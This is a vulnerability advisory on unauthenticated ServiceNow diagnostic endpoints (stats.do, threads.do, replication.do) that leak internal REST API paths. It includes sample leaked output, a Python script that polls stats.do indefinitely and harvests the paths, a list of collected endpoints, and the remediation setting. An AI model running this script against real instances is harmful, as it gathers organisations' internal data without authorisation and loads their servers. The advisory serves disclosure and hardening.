- Date: 26 June 2023
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- Discovered by: Bipin Jitiya (@win3zz)
[REDACTED], Inc., uses ServiceNow with an instance named "[REDACTED]" accessible at https://[REDACTED].service-now.com/. Upon reviewing this instance, I observed that it is not sufficiently hardened for security, and some endpoints are exposing sensitive information. The following three endpoints, designed for performance monitoring, logging, and troubleshooting purposes, are accessible without authentication:
- https://[REDACTED].service-now.com/stats.do
- https://[REDACTED].service-now.com/threads.do
- https://[REDACTED].service-now.com/replication.do
Ideally, these endpoints should only be accessible by the administrator account or users from allowed IP addresses.
Note
Please note that this is not a zero-day vulnerability. It is intended functionality of ServiceNow that can be controlled by the customer. However, it exposes sensitive information (in most cases). I consider this a misconfiguration that ServiceNow users/customers should be aware of.
- Open any of the affected endpoints in a browser:
- Restrict access to these endpoints (configuration pages) to the administrator account only or users from allowed IP addresses. To control who can view the
stats.do
,threads.do
, andreplication.do
pages, set theglide.security.diag_txns_acl
system property value totrue
so that only administrators or users from a known IP address are allowed to view the pages. By default, it is set tofalse
. - Apply all other instance security hardening settings and security best practices to your ServiceNow instance.
The affected endpoints expose information such as server details, threads, processes executed on the server, stack traces, and database configurations. One of the most sensitive pieces of information is leaked through stats.do
under Semaphore Sets
. In ServiceNow, Semaphore Sets provide information about semaphores currently allocated and actively utilized by processes or threads within the ServiceNow instance. The API_INT
semaphore refers to a mechanism used to control access to internal REST APIs. It logs all the endpoints or URLs within the ServiceNow instance where any operations are performed. Exposing these endpoints can reveal sensitive information, for example:
**Semaphore Sets**
**Default**
Available semaphores: 13
Queue depth: 0
Queue age: 0:00:00.000
Max queue depth: 32
Queue depth limit: 150
In use semaphores:
0:02283EE847228654B77B3DDBD36D435C #9485104 /angular.do (Default-thread-6) (0:00:00.518)
1:AEC0F2EC47EA4654B77B3DDBD36D43A1 #9485118 /xmlhttp.do (Default-thread-8) (0:00:00.037)
2:30DB62E0476A4654B77B3DDBD36D436C #9485119 /list_history.do (Default-thread-15) (0:00:00.023)
Maximum transaction concurrency: 16
Maximum concurrency achieved: 16
429 rejections: 2255
1 minute: 0:00:00.254 (536 transactions, 536.0 per minute, 90% faster than 0:00:00.266)
5 minute: 0:00:00.313 (1865 transactions, 373.0 per minute, 90% faster than 0:00:00.458)
15 minute: 0:00:00.285 (6344 transactions, 422.93 per minute, 90% faster than 0:00:00.362)
60 minute: 0:00:00.287 (25133 transactions, 418.88 per minute, 90% faster than 0:00:00.361)
1 day: 0:00:00.249 (382544 transactions, 265.65 per minute, 90% faster than 0:00:00.328)
...
**API_INT**
Available semaphores: 3
Queue depth: 0
Queue age: 0:00:00.000
Max queue depth: 44
Queue depth limit: 50
In use semaphores:
0:BDBC10AC47EA0254B77B3DDBD36D4300 #9484563 /api/now/ui/user/user_name/[user]@[REDACTED].com (API_INT-thread-1) (0:00:21.168)
0:BDBC10AC47EA0254B77B3DDBD36D4300 #9484563 /api/now/v2/table/sys_history_line (API_INT-thread-2) (0:00:27.168)
Maximum transaction concurrency: 4
Maximum concurrency achieved: 4
429 rejections: 4
1 minute: 0:00:00.791 (93 transactions, 93.0 per minute, 90% faster than 0:00:00.220)
5 minute: 0:00:01.359 (221 transactions, 44.2 per minute, 90% faster than 0:00:00.220)
15 minute: 0:00:01.338 (714 transactions, 47.6 per minute, 90% faster than 0:00:00.228)
60 minute: 0:00:01.167 (3482 transactions, 58.03 per minute, 90% faster than 0:00:00.306)
1 day: 0:00:02.130 (122408 transactions, 85.0 per minute, 90% faster than 0:00:08.436)
...
To demonstrate the impact, I created a script that monitors stats.do
and logs all the internal REST API endpoints that may contain internal or company-sensitive information. An attacker can collect such data and misuse it.
- Install the necessary Python dependencies (
aiofiles
andaiohttp
), save and run the following script using the commandpython3 asynchronous_extract.py
:
import aiofiles #pip install aiofiles
import aiohttp #pip install aiohttp
import asyncio
import re
async def extract_paths(session, url):
async with session.get(url) as response:
if response.status == 200:
semaphore_text = await response.text()
pattern = r'\d+:[A-F0-9]{32} #\d+ (\S+?) \(<a\s.*?>.*?</a>\) \(\d+:\d+:\d+\.\d+\) <br/>'
matches = re.findall(pattern, semaphore_text)
if matches:
async with aiofiles.open("paths.txt", mode='a') as file:
for match in matches:
await file.write(match + "\n")
else:
print("No semaphore data found in response.")
else:
print("Failed to fetch data from the URL.")
async def main():
url = "https://[REDACTED].service-now.com/stats.do"
async with aiohttp.ClientSession() as session:
while True: # Keep running indefinitely
tasks = [extract_paths(session, url) for _ in range(10)] # Adjust the number of concurrent requests
await asyncio.gather(*tasks)
await asyncio.sleep(5) # Wait for 5 seconds before making another batch of requests
if __name__ == "__main__":
asyncio.run(main())
Make sure you replace [REDACTED]
with the target ServiceNow instance name before executing the script.
- Log in to your ServiceNow instance and work on your application for a while. During this time, all internal API calls will be triggered.
- The script generates a
paths.txt
file. Open it and observe the logged information. - (Optional) Remove duplicate entries for more clarity using the Linux command
sort paths.txt | uniq > uniq_paths.txt
.
IMPORTANT NOTE: The script makes 10 concurrent requests every 5 seconds, which can lead to significant data transfer:
- Requests per Minute: 120
- Data per Minute: 12 MB (assuming 100 KB per response)
- Data per Hour: 720 MB
- Data per Day: 17.28 GB
Due to high traffic generation, I have not run the script for a long time. However, I have obtained the disclosed URL endpoints from a sample client (with permission) during a short run of this script.
/$knowledge_feedback.do
/$m.do
/$pa_dashboard.do
/$pa_dashboards_overview.do
/$sp.do
/$uxapp.do
/$uxappimmutables.do
/alm_hardware.do
/alm_hardware_list.do
/amb_session_setup.do
/angular.do
/api/now/analytics/events
/api/now/embeddedhelp/change_request/normal
/api/now/embeddedhelp/customer_account/normal
/api/now/embeddedhelp/home/normal
/api/now/embeddedhelp/incident_list/normal
/api/now/embeddedhelp/incident/normal
/api/now/embeddedhelp/sn_customerservice_case_list/normal
/api/now/embeddedhelp/sn_customerservice_case/normal
/api/now/embeddedhelp/task_list/normal
/api/now/embeddedhelp/u_cmdb_ci_privilege_management_cloud/normal
/api/now/graphql
/api/now/guided_tours/autolaunch/get
/api/now/guided_tours/tours
/api/now/import/u_sfdc_asset_import
/api/now/live/profiles/sys_user.[REDACTED]
/api/now/live/profiles/sys_user.[REDACTED]
/api/now/live/profiles/sys_user.[REDACTED]
/api/now/par/amb/[REDACTED]
/api/now/par/amb/[REDACTED]
/api/now/par/amb/[REDACTED]
/api/now/processflow/flow/[REDACTED]
/api/now/session/notification
/api/now/sp/consent/getConsentDetails
/api/now/sp/page
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/rectangle/[REDACTED]
/api/now/sp/search
/api/now/sp/widget/[REDACTED]
/api/now/sp/widget/[REDACTED]
/api/now/sp/widget/[REDACTED]
/api/now/table/cmdb_model/[REDACTED]
/api/now/table/cmdb_model/[REDACTED]
/api/now/table/cmdb_model/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/customer_account/[REDACTED]
/api/now/table/incident
/api/now/table/sn_customerservice_case
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_case/[REDACTED]
/api/now/table/sn_customerservice_escalation
/api/now/table/sys_dictionary
/api/now/table/sys_user
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/table/sys_user/[REDACTED]
/api/now/ui/history
/api/now/ui/meta/sn_customerservice_case
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/page_timing/[REDACTED]
/api/now/ui/polaris/menu
/api/now/ui/presence
/api/now/ui/related_list/related/sn_customerservice_escalation/all
/api/now/ui/user/[REDACTED]
/api/now/ui/user/user_name/[REDACTED]@[REDACTED].com
/api/now/uxf/databroker/exec
/api/now/v1/actsub/subscriptions/[REDACTED]
/api/now/v1/batch
/api/now/v1/gml_service/solution/[REDACTED]/data/[REDACTED]_3_1548274241000_kb_knowledge.csv
/api/now/v1/gml_service/solution/[REDACTED]/data/[REDACTED]_35_1548274241000_kb_knowledge.csv
/api/now/v1/gml_service/solution/[REDACTED]/data/[REDACTED]_1_1707798985000_ts_query_kb.csv
/api/now/v1/gml_service/solution/[REDACTED]/information
/api/now/v1/gml_service/solution/[REDACTED]/requirement
/api/now/v1/gml_service/solution/[REDACTED]/status
/api/now/v1/knowledge/search/facets
/api/now/v1/pa/i18n
/api/now/v1/search/sources/textsearch
/api/now/v2/table/customer_account
/api/now/v2/table/customer_account/[REDACTED]
/api/now/v2/table/customer_contact
/api/now/v2/table/customer_contact/[REDACTED]
/api/now/v2/table/customer_contact/[REDACTED]
/api/now/v2/table/customer_contact/[REDACTED]
/api/now/v2/table/customer_contact/[REDACTED]
/api/now/v2/table/customer_contact/[REDACTED]
/api/sn_sc/v1/servicecatalog/items/[REDACTED]/order_now
/api/sn_sc/v1/servicecatalog/items/[REDACTED]/submit_producer
/api/[REDACTED]/[REDACTED]/is_installed
/api/[REDACTED]/arm/authorization_request
/change_request.do
/change_request_list.do
/cmdb_ci_business_app.do
/cmdb_ci_business_app_list.do
/customer_account.do
/customer_account_list.do
/customer_contact.do
/customer_contact_list.do
/ecc_queue.do
/email_client.do
/incident.do
/incident_list.do
/kb_knowledge.do
/kb_view.do
/ldap_ou_config.do
/ldap_server_config.do
/legacy_date_time_choices_processor.do
/list2_deferred_related_lists.do
/list_history.do
/livefeed.do
/navpage.do
/nav_to.do
/now-vpe
/{{::[REDACTED].u_image}}
/polarisberg_theme_variables.do
/popup.do
/report_viewer.do
/sc_task.do
/sn_compliance_policy.do
/sn_compliance_policy_list.do
/sn_customerservice_case.do
/sn_customerservice_case_list.do
/sn_customerservice_case_sla_list.do
/sn_customerservice_licensed_product.do
/sn_grc_advanced_evidence_response.do
/sn_grc_advanced_evidence_response_list.do
/sysapproval_approver.do
/sysapproval_approver_list.do
/sys_attachment.do
/sys_dictionary.do
/sys_report_template.do
/sys_ui_policy.do
/sys_ui_policy_list.do
/sys_user.do
/sys_user_list.do
/task_list.do
/u_cmdb_ci_password_safe_cloud_resource_group.do
/u_cmdb_ci_password_safe_cloud_resource_group_list.do
/u_cmdb_ci_privilege_management_cloud.do
/u_cmdb_ci_privilege_management_cloud_list.do
/u_kb_template_support_how_to_information.do
/u_kb_template_support_known_issues.do
/xmlhttp.do
/xmlstats.do
There are a total of 956 subdomains of service-now.com identified through subdomainfinder.c99.nl. Hypothetically considering all the subdomains are customer instances, I observed that 575 out of 956 are affected by this misconfiguration. However, not all the affected endpoints expose sensitive information.
- ServiceNow Performance Monitoring ACL
- Exploring High Security Settings in ServiceNow
- Semaphores in stats.do
- Other
This code and associated instructions are provided for educational purposes only. Unauthorized use for malicious intent, including but not limited to unauthorized access to computer systems, networks, or data, is strictly prohibited. The author disclaims any responsibility for misuse of the code or any negative consequences resulting from its use. Users are advised to adhere to ethical and legal standards when utilizing or experimenting with the provided code. It is recommended to obtain explicit permission before attempting to run this code on any systems or networks that are not owned or managed by the user.
Date: 26 June 2023 should be 26 juni 2024 right?